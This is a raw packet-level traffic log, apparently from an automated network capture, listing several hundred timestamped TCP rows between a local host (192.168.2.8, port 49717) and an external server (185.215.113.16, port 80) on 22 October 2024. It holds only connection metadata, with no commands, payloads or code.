Oct 22, 2024 19:24:43.282708883 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282708883 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282716990 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282736063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282749891 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282763958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282777071 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282777071 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282787085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282800913 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282805920 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282814980 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282830954 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282836914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282851934 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282866001 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282881021 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282890081 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282895088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282917023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282926083 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282926083 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282932997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282947063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282970905 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282978058 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282984018 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282999039 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283011913 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283025026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283031940 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283031940 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283047915 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283062935 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283076048 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283090115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283097982 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283097982 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283118010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283132076 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283153057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283155918 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283168077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283175945 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283181906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283196926 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283199072 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283217907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283231974 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283240080 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283243895 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283271074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283284903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283299923 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283308029 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283308029 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283329964 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283344030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283358097 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283359051 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283370972 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283384085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283399105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283412933 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283416986 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283416986 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283437014 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283818007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283839941 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283854961 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283873081 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283895016 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283898115 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283898115 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283910036 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283940077 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283950090 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283963919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283977985 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.283987045 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.283993959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284009933 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284053087 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284059048 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284073114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284086943 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284102917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284107924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284116030 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284116983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284116030 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284145117 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284193993 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284208059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284219027 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284221888 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284235954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284250021 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284264088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284277916 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284288883 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284288883 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284291983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284318924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284328938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284328938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284331083 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284347057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284362078 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284369946 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284375906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284390926 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284430981 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284441948 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284454107 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284466982 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284478903 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284481049 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284495115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284507990 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284516096 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284516096 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284522057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284535885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284571886 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284580946 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284580946 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284586906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284600973 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284615040 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284627914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284638882 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284646988 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284663916 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284672022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284687042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284687996 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284703970 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284718037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284732103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284746885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284749985 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284749985 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284759998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284784079 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284807920 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284809113 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284831047 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284845114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284857988 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284878016 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284878016 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284883022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284898043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284912109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284925938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284940004 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284940958 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284940958 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284961939 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284962893 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.284976959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.284990072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285006046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285011053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285024881 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285034895 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285034895 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285082102 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285092115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285106897 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285120964 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285142899 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285166979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285181046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285193920 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285207987 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285211086 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285211086 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285234928 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285243034 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285248041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285265923 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285274982 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285310030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285324097 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285337925 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285376072 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285376072 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285461903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285475969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285490990 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285536051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285550117 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285563946 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285571098 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285571098 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285577059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285604954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285619020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285640001 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285640001 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285641909 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285657883 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285687923 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285689116 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285712957 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285722971 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285723925 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285737991 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285752058 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285765886 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285779953 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285804033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285804033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285864115 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.285895109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285909891 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285923958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.285985947 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.286001921 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.286015987 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.286030054 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.286045074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.286058903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.286068916 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.286068916 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.286111116 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.297261953 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297286987 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297313929 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297329903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297363997 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.297363997 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.297380924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297395945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297414064 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297436953 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297444105 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.297487974 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297512054 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297524929 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297538996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297552109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297559977 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.297559977 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.297565937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297580957 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297595024 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.297601938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.297601938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.297640085 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.325093985 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.325109959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.325124979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.325256109 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.371232986 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.371247053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.371263027 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.371277094 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.371293068 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.371356964 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.374711990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.395991087 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396111965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396136045 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396150112 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396173954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396188974 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396204948 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396204948 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.396219969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396239042 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.396239042 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.396244049 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396260023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396275043 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.396285057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396300077 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.396305084 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396310091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396315098 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396330118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396342993 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396358013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396362066 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.396362066 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.396373987 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396410942 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.396410942 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.396651030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396676064 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396688938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.396986961 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.397377968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.397408009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.397447109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.397450924 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.397479057 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.397602081 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.397617102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.397631884 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.397685051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.397733927 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.397748947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.397813082 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.397829056 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.397964954 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.398360968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398411989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398478985 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398493052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398508072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398597956 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.398601055 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398617029 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398641109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398654938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398669958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398688078 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.398688078 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.398758888 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.398771048 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398786068 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398801088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398814917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398839951 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398854017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398857117 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.398857117 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.398869038 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398904085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398916960 CEST	80	49717	185.215.113.16	192.168.2.8
